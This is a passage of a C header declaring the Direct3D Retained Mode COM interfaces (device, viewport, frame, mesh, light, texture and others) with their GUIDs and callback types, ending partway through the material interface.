DEFINE_GUID(CLSID_CDirect3DRMShadow, 0x4fa3569b, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMObject, 0xeb16cb00, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMDevice, 0xe9e19280, 0x6e05, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMViewport, 0xeb16cb02, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMFrame, 0xeb16cb03, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMVisual, 0xeb16cb04, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMMesh, 0xa3a80d01, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMMeshBuilder, 0xa3a80d02, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMFace, 0xeb16cb07, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMLight, 0xeb16cb08, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMTexture, 0xeb16cb09, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMWrap, 0xeb16cb0a, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMMaterial, 0xeb16cb0b, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMAnimation, 0xeb16cb0d, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMAnimationSet, 0xeb16cb0e, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMDeviceArray, 0xeb16cb10, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMViewportArray, 0xeb16cb11, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMFrameArray, 0xeb16cb12, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMVisualArray, 0xeb16cb13, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMLightArray, 0xeb16cb14, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMPickedArray, 0xeb16cb16, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMFaceArray, 0xeb16cb17, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMUserVisual, 0x59163de0, 0x6d43, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMShadow, 0xaf359780, 0x6ba3, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
typedef void (CDECL *D3DRMOBJECTCALLBACK)(LPDIRECT3DRMOBJECT obj, LPVOID arg);
typedef void (CDECL *D3DRMFRAMEMOVECALLBACK)(LPDIRECT3DRMFRAME obj, LPVOID arg, D3DVALUE delta);
typedef void (CDECL *D3DRMUPDATECALLBACK)(LPDIRECT3DRMDEVICE obj, LPVOID arg, int, LPD3DRECT);
typedef int (CDECL *D3DRMUSERVISUALCALLBACK)(LPDIRECT3DRMUSERVISUAL,LPVOID,D3DRMUSERVISUALREASON,LPDIRECT3DRMDEVICE,LPDIRECT3DRMVIEWPORT);
typedef HRESULT (CDECL *D3DRMLOADTEXTURECALLBACK)(char *,void *,LPDIRECT3DRMTEXTURE *);
typedef void (CDECL *D3DRMLOADCALLBACK) (LPDIRECT3DRMOBJECT,REFIID,LPVOID);
typedef struct _D3DRMPICKDESC {
ULONG ulFaceIdx;
LONG lGroupIdx;
D3DVECTOR vPosition;
} D3DRMPICKDESC, *LPD3DRMPICKDESC;
#undef INTERFACE
#define INTERFACE IDirect3DRMObject
DECLARE_INTERFACE_(IDirect3DRMObject, IUnknown) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
};
#undef INTERFACE
#define INTERFACE IDirect3DRMVisual
DECLARE_INTERFACE_(IDirect3DRMVisual, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
};
#undef INTERFACE
#define INTERFACE IDirect3DRMDevice
DECLARE_INTERFACE_(IDirect3DRMDevice, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)(THIS_ ULONG width, ULONG height) PURE;
STDMETHOD(InitFromD3D)(THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev) PURE;
STDMETHOD(InitFromClipper)(THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, int width, int height) PURE;
STDMETHOD(Update)(THIS) PURE;
STDMETHOD(AddUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE;
STDMETHOD(DeleteUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE;
STDMETHOD(SetBufferCount)(THIS_ DWORD) PURE;
STDMETHOD_(DWORD, GetBufferCount)(THIS) PURE;
STDMETHOD(SetDither)(THIS_ BOOL) PURE;
STDMETHOD(SetShades)(THIS_ DWORD) PURE;
STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE;
STDMETHOD(SetTextureQuality)(THIS_ D3DRMTEXTUREQUALITY) PURE;
STDMETHOD(GetViewports)(THIS_ LPDIRECT3DRMVIEWPORTARRAY *return_views) PURE;
STDMETHOD_(BOOL, GetDither)(THIS) PURE;
STDMETHOD_(DWORD, GetShades)(THIS) PURE;
STDMETHOD_(DWORD, GetHeight)(THIS) PURE;
STDMETHOD_(DWORD, GetWidth)(THIS) PURE;
STDMETHOD_(DWORD, GetTrianglesDrawn)(THIS) PURE;
STDMETHOD_(DWORD, GetWireframeOptions)(THIS) PURE;
STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE;
STDMETHOD_(D3DCOLORMODEL, GetColorModel)(THIS) PURE;
STDMETHOD_(D3DRMTEXTUREQUALITY, GetTextureQuality)(THIS) PURE;
STDMETHOD(GetDirect3DDevice)(THIS_ LPDIRECT3DDEVICE *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMViewport
DECLARE_INTERFACE_(IDirect3DRMViewport, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)(THIS_ LPDIRECT3DRMDEVICE d,LPDIRECT3DRMFRAME c,DWORD x,DWORD y,DWORD w,DWORD h) PURE;
STDMETHOD(Clear)(THIS) PURE;
STDMETHOD(Render)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(SetFront)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetBack)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetField)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetUniformScaling)(THIS_ BOOL) PURE;
STDMETHOD(SetCamera)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(SetProjection)(THIS_ D3DRMPROJECTIONTYPE) PURE;
STDMETHOD(Transform)(THIS_ D3DRMVECTOR4D *d, D3DVECTOR *s) PURE;
STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DRMVECTOR4D *s) PURE;
STDMETHOD(Configure)(THIS_ LONG x, LONG y, DWORD width, DWORD height) PURE;
STDMETHOD(ForceUpdate)(THIS_ DWORD x1, DWORD y1, DWORD x2, DWORD y2) PURE;
STDMETHOD(SetPlane)(THIS_ D3DVALUE left, D3DVALUE right, D3DVALUE bottom, D3DVALUE top) PURE;
STDMETHOD(GetCamera)(THIS_ LPDIRECT3DRMFRAME *) PURE;
STDMETHOD(GetDevice)(THIS_ LPDIRECT3DRMDEVICE *) PURE;
STDMETHOD(GetPlane)(THIS_ D3DVALUE *left, D3DVALUE *right, D3DVALUE *bottom, D3DVALUE *top) PURE;
STDMETHOD(Pick)(THIS_ LONG x, LONG y, LPDIRECT3DRMPICKEDARRAY *return_visuals) PURE;
STDMETHOD_(BOOL, GetUniformScaling)(THIS) PURE;
STDMETHOD_(LONG, GetX)(THIS) PURE;
STDMETHOD_(LONG, GetY)(THIS) PURE;
STDMETHOD_(DWORD, GetWidth)(THIS) PURE;
STDMETHOD_(DWORD, GetHeight)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetField)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetBack)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetFront)(THIS) PURE;
STDMETHOD_(D3DRMPROJECTIONTYPE, GetProjection)(THIS) PURE;
STDMETHOD(GetDirect3DViewport)(THIS_ LPDIRECT3DVIEWPORT *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMFrame
DECLARE_INTERFACE_(IDirect3DRMFrame, IDirect3DRMVisual) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(AddChild)(THIS_ LPDIRECT3DRMFRAME child) PURE;
STDMETHOD(AddLight)(THIS_ LPDIRECT3DRMLIGHT) PURE;
STDMETHOD(AddMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE;
STDMETHOD(AddTransform)(THIS_ D3DRMCOMBINETYPE, D3DRMMATRIX4D) PURE;
STDMETHOD(AddTranslation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(AddScale)(THIS_ D3DRMCOMBINETYPE, D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
STDMETHOD(AddRotation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE;
STDMETHOD(AddVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE;
STDMETHOD(GetChildren)(THIS_ LPDIRECT3DRMFRAMEARRAY *children) PURE;
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
STDMETHOD(GetLights)(THIS_ LPDIRECT3DRMLIGHTARRAY *lights) PURE;
STDMETHOD_(D3DRMMATERIALMODE, GetMaterialMode)(THIS) PURE;
STDMETHOD(GetParent)(THIS_ LPDIRECT3DRMFRAME *) PURE;
STDMETHOD(GetPosition)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_position) PURE;
STDMETHOD(GetRotation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR axis, LPD3DVALUE return_theta) PURE;
STDMETHOD(GetScene)(THIS_ LPDIRECT3DRMFRAME *) PURE;
STDMETHOD_(D3DRMSORTMODE, GetSortMode)(THIS) PURE;
STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(GetTransform)(THIS_ D3DRMMATRIX4D return_matrix) PURE;
STDMETHOD(GetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_velocity, BOOL with_rotation) PURE;
STDMETHOD(GetOrientation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR dir, LPD3DVECTOR up) PURE;
STDMETHOD(GetVisuals)(THIS_ LPDIRECT3DRMVISUALARRAY *visuals) PURE;
STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE;
STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE;
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg)PURE;
STDMETHOD(LookAt)(THIS_ LPDIRECT3DRMFRAME target, LPDIRECT3DRMFRAME reference, D3DRMFRAMECONSTRAINT) PURE;
STDMETHOD(Move)(THIS_ D3DVALUE delta) PURE;
STDMETHOD(DeleteChild)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(DeleteLight)(THIS_ LPDIRECT3DRMLIGHT) PURE;
STDMETHOD(DeleteMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE;
STDMETHOD(DeleteVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE;
STDMETHOD_(D3DCOLOR, GetSceneBackground)(THIS) PURE;
STDMETHOD(GetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE *) PURE;
STDMETHOD_(D3DCOLOR, GetSceneFogColor)(THIS) PURE;
STDMETHOD_(BOOL, GetSceneFogEnable)(THIS) PURE;
STDMETHOD_(D3DRMFOGMODE, GetSceneFogMode)(THIS) PURE;
STDMETHOD(GetSceneFogParams)(THIS_ D3DVALUE *return_start, D3DVALUE *return_end, D3DVALUE *return_density) PURE;
STDMETHOD(SetSceneBackground)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetSceneBackgroundRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(SetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE) PURE;
STDMETHOD(SetSceneBackgroundImage)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
STDMETHOD(SetSceneFogEnable)(THIS_ BOOL) PURE;
STDMETHOD(SetSceneFogColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetSceneFogMode)(THIS_ D3DRMFOGMODE) PURE;
STDMETHOD(SetSceneFogParams)(THIS_ D3DVALUE start, D3DVALUE end, D3DVALUE density) PURE;
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD_(D3DRMZBUFFERMODE, GetZbufferMode)(THIS) PURE;
STDMETHOD(SetMaterialMode)(THIS_ D3DRMMATERIALMODE) PURE;
STDMETHOD(SetOrientation)(THIS_ LPDIRECT3DRMFRAME r, D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,D3DVALUE ux,D3DVALUE uy,D3DVALUE uz) PURE;
STDMETHOD(SetPosition)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(SetRotation)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE;
STDMETHOD(SetSortMode)(THIS_ D3DRMSORTMODE) PURE;
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
STDMETHOD(SetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, BOOL with_rotation) PURE;
STDMETHOD(SetZbufferMode)(THIS_ D3DRMZBUFFERMODE) PURE;
STDMETHOD(Transform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMMesh
DECLARE_INTERFACE_(IDirect3DRMMesh, IDirect3DRMVisual) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE;
STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE;
STDMETHOD(AddGroup)(THIS_ unsigned vCount, unsigned fCount, unsigned vPerFace, unsigned *fData, D3DRMGROUPINDEX *returnId) PURE;
STDMETHOD(SetVertices)(THIS_ D3DRMGROUPINDEX id, unsigned index, unsigned count, D3DRMVERTEX *values) PURE;
STDMETHOD(SetGroupColor)(THIS_ D3DRMGROUPINDEX id, D3DCOLOR value) PURE;
STDMETHOD(SetGroupColorRGB)(THIS_ D3DRMGROUPINDEX id, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(SetGroupMapping)(THIS_ D3DRMGROUPINDEX id, D3DRMMAPPING value) PURE;
STDMETHOD(SetGroupQuality)(THIS_ D3DRMGROUPINDEX id, D3DRMRENDERQUALITY value) PURE;
STDMETHOD(SetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL value) PURE;
STDMETHOD(SetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE value) PURE;
STDMETHOD_(unsigned, GetGroupCount)(THIS) PURE;
STDMETHOD(GetGroup)(THIS_ D3DRMGROUPINDEX id, unsigned *vCount, unsigned *fCount, unsigned *vPerFace, DWORD *fDataSize, unsigned *fData) PURE;
STDMETHOD(GetVertices)(THIS_ D3DRMGROUPINDEX id, DWORD index, DWORD count, D3DRMVERTEX *returnPtr) PURE;
STDMETHOD_(D3DCOLOR, GetGroupColor)(THIS_ D3DRMGROUPINDEX id) PURE;
STDMETHOD_(D3DRMMAPPING, GetGroupMapping)(THIS_ D3DRMGROUPINDEX id) PURE;
STDMETHOD_(D3DRMRENDERQUALITY, GetGroupQuality)(THIS_ D3DRMGROUPINDEX id) PURE;
STDMETHOD(GetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL *returnPtr) PURE;
STDMETHOD(GetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE *returnPtr) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMShadow
DECLARE_INTERFACE_(IDirect3DRMShadow, IDirect3DRMVisual) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)
( THIS_ LPDIRECT3DRMVISUAL visual, LPDIRECT3DRMLIGHT light,
D3DVALUE px, D3DVALUE py, D3DVALUE pz,
D3DVALUE nx, D3DVALUE ny, D3DVALUE nz
) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMFace
DECLARE_INTERFACE_(IDirect3DRMFace, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(AddVertexAndNormalIndexed)(THIS_ DWORD vertex, DWORD normal) PURE;
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE, D3DVALUE, D3DVALUE) PURE;
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
STDMETHOD(SetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE u, D3DVALUE v) PURE;
STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE;
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
STDMETHOD(GetVertex)(THIS_ DWORD index, D3DVECTOR *vertex, D3DVECTOR *normal) PURE;
STDMETHOD(GetVertices)(THIS_ DWORD *vertex_count, D3DVECTOR *coords, D3DVECTOR *normals);
STDMETHOD(GetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE *u, D3DVALUE *v) PURE;
STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE;
STDMETHOD(GetNormal)(THIS_ D3DVECTOR *) PURE;
STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(GetMaterial)(THIS_ LPDIRECT3DRMMATERIAL *) PURE;
STDMETHOD_(int, GetVertexCount)(THIS) PURE;
STDMETHOD_(int, GetVertexIndex)(THIS_ DWORD which) PURE;
STDMETHOD_(int, GetTextureCoordinateIndex)(THIS_ DWORD which) PURE;
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMMeshBuilder
DECLARE_INTERFACE_(IDirect3DRMMeshBuilder, IDirect3DRMVisual) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg) PURE;
STDMETHOD(Save)(THIS_ const char *filename, D3DRMXOFFORMAT, D3DRMSAVEOPTIONS save) PURE;
STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE;
STDMETHOD(SetColorSource)(THIS_ D3DRMCOLORSOURCE) PURE;
STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE;
STDMETHOD(GenerateNormals)(THIS) PURE;
STDMETHOD_(D3DRMCOLORSOURCE, GetColorSource)(THIS) PURE;
STDMETHOD(AddMesh)(THIS_ LPDIRECT3DRMMESH) PURE;
STDMETHOD(AddMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER) PURE;
STDMETHOD(AddFrame)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(AddFace)(THIS_ LPDIRECT3DRMFACE) PURE;
STDMETHOD(AddFaces)
( THIS_ DWORD vcount, D3DVECTOR *vertices, DWORD ncount, D3DVECTOR *normals,
DWORD *data, LPDIRECT3DRMFACEARRAY*
) PURE;
STDMETHOD(ReserveSpace)(THIS_ DWORD vertex_Count, DWORD normal_count, DWORD face_count) PURE;
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE;
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE;
STDMETHOD(SetPerspective)(THIS_ BOOL) PURE;
STDMETHOD(SetVertex)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(SetNormal)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(SetTextureCoordinates)(THIS_ DWORD index, D3DVALUE u, D3DVALUE v) PURE;
STDMETHOD(SetVertexColor)(THIS_ DWORD index, D3DCOLOR) PURE;
STDMETHOD(SetVertexColorRGB)(THIS_ DWORD index, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(GetFaces)(THIS_ LPDIRECT3DRMFACEARRAY*) PURE;
STDMETHOD(GetVertices)
( THIS_ DWORD *vcount, D3DVECTOR *vertices, DWORD *ncount, D3DVECTOR *normals, DWORD *face_data_size, DWORD *face_data
) PURE;
STDMETHOD(GetTextureCoordinates)(THIS_ DWORD index, D3DVALUE *u, D3DVALUE *v) PURE;
STDMETHOD_(int, AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD_(int, AddNormal)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(CreateFace)(THIS_ LPDIRECT3DRMFACE*) PURE;
STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE;
STDMETHOD_(BOOL, GetPerspective)(THIS) PURE;
STDMETHOD_(int, GetFaceCount)(THIS) PURE;
STDMETHOD_(int, GetVertexCount)(THIS) PURE;
STDMETHOD_(D3DCOLOR, GetVertexColor)(THIS_ DWORD index) PURE;
STDMETHOD(CreateMesh)(THIS_ LPDIRECT3DRMMESH*) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMLight
DECLARE_INTERFACE_(IDirect3DRMLight, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(SetType)(THIS_ D3DRMLIGHTTYPE) PURE;
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
STDMETHOD(SetRange)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetUmbra)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetPenumbra)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetConstantAttenuation)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetLinearAttenuation)(THIS_ D3DVALUE) PURE;
STDMETHOD(SetQuadraticAttenuation)(THIS_ D3DVALUE) PURE;
STDMETHOD_(D3DVALUE, GetRange)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetUmbra)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetPenumbra)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetConstantAttenuation)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetLinearAttenuation)(THIS) PURE;
STDMETHOD_(D3DVALUE, GetQuadraticAttenuation)(THIS) PURE;
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
STDMETHOD_(D3DRMLIGHTTYPE, GetType)(THIS) PURE;
STDMETHOD(SetEnableFrame)(THIS_ LPDIRECT3DRMFRAME) PURE;
STDMETHOD(GetEnableFrame)(THIS_ LPDIRECT3DRMFRAME*) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMTexture
DECLARE_INTERFACE_(IDirect3DRMTexture, IDirect3DRMVisual) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(InitFromFile)(THIS_ const char *filename) PURE;
STDMETHOD(InitFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS) PURE;
STDMETHOD(InitFromResource)(THIS_ HRSRC) PURE;
STDMETHOD(Changed)(THIS_ BOOL pixels, BOOL palette) PURE;
STDMETHOD(SetColors)(THIS_ DWORD) PURE;
STDMETHOD(SetShades)(THIS_ DWORD) PURE;
STDMETHOD(SetDecalSize)(THIS_ D3DVALUE width, D3DVALUE height) PURE;
STDMETHOD(SetDecalOrigin)(THIS_ LONG x, LONG y) PURE;
STDMETHOD(SetDecalScale)(THIS_ DWORD) PURE;
STDMETHOD(SetDecalTransparency)(THIS_ BOOL) PURE;
STDMETHOD(SetDecalTransparentColor)(THIS_ D3DCOLOR) PURE;
STDMETHOD(GetDecalSize)(THIS_ D3DVALUE *width_return, D3DVALUE *height_return) PURE;
STDMETHOD(GetDecalOrigin)(THIS_ LONG *x_return, LONG *y_return) PURE;
STDMETHOD_(D3DRMIMAGE *, GetImage)(THIS) PURE;
STDMETHOD_(DWORD, GetShades)(THIS) PURE;
STDMETHOD_(DWORD, GetColors)(THIS) PURE;
STDMETHOD_(DWORD, GetDecalScale)(THIS) PURE;
STDMETHOD_(BOOL, GetDecalTransparency)(THIS) PURE;
STDMETHOD_(D3DCOLOR, GetDecalTransparentColor)(THIS) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMWrap
DECLARE_INTERFACE_(IDirect3DRMWrap, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)
( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME ref,
D3DVALUE ox, D3DVALUE oy, D3DVALUE oz,
D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,
D3DVALUE ux, D3DVALUE uy, D3DVALUE uz,
D3DVALUE ou, D3DVALUE ov,
D3DVALUE su, D3DVALUE sv
) PURE;
STDMETHOD(Apply)(THIS_ LPDIRECT3DRMOBJECT) PURE;
STDMETHOD(ApplyRelative)(THIS_ LPDIRECT3DRMFRAME frame, LPDIRECT3DRMOBJECT) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMMaterial
DECLARE_INTERFACE_(IDirect3DRMMaterial, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(SetPower)(THIS_ D3DVALUE power) PURE;
